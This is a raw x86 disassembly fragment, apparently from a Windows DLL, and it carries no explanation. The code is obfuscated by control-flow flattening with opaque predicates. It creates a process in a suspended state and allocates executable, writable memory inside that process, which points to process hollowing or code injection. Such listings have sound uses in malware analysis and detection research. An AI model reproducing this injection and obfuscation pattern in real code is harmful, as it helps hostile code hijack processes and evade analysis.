mov dword [ebp - 0x154], 0xc5f50eb7
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0x4fd19ae
sub edx, 1
add edx, 0x4fd19ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf80c0d97
mov ecx, 0x8695bedc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov ecx, dword [ebp - 0x78]
sub ecx, 0xced90c31
add ecx, 1
add ecx, 0xced90c31
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
sub edx, 0x4018e6a
sub edx, 1
add edx, 0x4018e6a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf80c0d97
mov ecx, 0x5cc01a5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [0x10065538]
mov ecx, dword [0x10065534]
mov edx, eax
add edx, 0xe8ce4961
sub edx, 1
sub edx, 0xe8ce4961
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe868f2f
mov ecx, 0x3a5ef89d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x100055df
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x154], 0x1279274e
jmp 0x100055df
mov edx, dword [ebp - 0xe4]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x154], 0xd24fe5e9
jmp 0x100055df
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xe3e53afe
jmp 0x100055df
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x154], 0x388d45b9
jmp 0x100055df
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x154], 0x7454afac
jmp 0x100055df
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x154], 0xd474e150
jmp 0x100055df
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x154], 0xad71bbe1
jmp 0x100055df
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x154], 0x646e843d
jmp 0x100055df
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
add ecx, 0x88ea2643
add ecx, 8
sub ecx, 0x88ea2643
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0xd4b9d53d
sub ecx, 8
sub ecx, 0xd4b9d53d
shr ecx, 1
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x154], 0x697fff84
jmp 0x100055df
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x154], 0x25423474
jmp 0x100055df
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
sub ecx, 0xb9aa46dc
add ecx, 1
add ecx, 0xb9aa46dc
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x8695bedc
jmp 0x100055df
mov dword [ebp - 0x154], 0xf6fdcf9e
jmp 0x10002c60